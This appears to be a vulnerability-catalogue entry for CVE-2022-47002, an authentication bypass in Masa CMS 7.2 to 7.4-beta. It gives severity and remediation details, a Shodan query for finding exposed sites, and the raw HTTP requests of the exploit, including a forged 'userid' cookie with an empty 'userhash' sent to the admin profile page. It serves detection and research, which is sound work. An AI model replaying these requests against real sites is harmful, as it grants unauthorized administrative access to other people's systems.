| Title | Masa CMS - Authentication Bypass |
|---|---|
| Author | iamnoooob,rootxharsh,pdresearch |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the system. |
| Remediation | Apply the latest security patch or update provided by the vendor to fix the authentication bypass vulnerability in Masa CMS. |
| CVSS Score | 9.8 |
| EPSS Score | 0.69749 |
| CVE ID | CVE-2022-47002 |
| CWE ID | CWE-863 |
| Shodan Query | Generator: Masa CMSgenerator: masa cms |
| Tags | cve cve2022 auth-bypass cms masa masacms vuln |
Masa CMS 7.2, 7.3, and 7.4-beta are susceptible to authentication bypass in the Remember Me function. An attacker can bypass authentication via a crafted web request and thereby obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
GET /index.cfm/_api/json/v1/DHhXsx/content/?fields=lastupdatebyid HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.7
Connection: close
Accept-Encoding: gzip
GET /admin/?muraAction=cEditProfile.edit HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
Connection: close
Cookie: userid=xK8AqP; userhash=
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-47002.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-47002.pcap
N/AN/A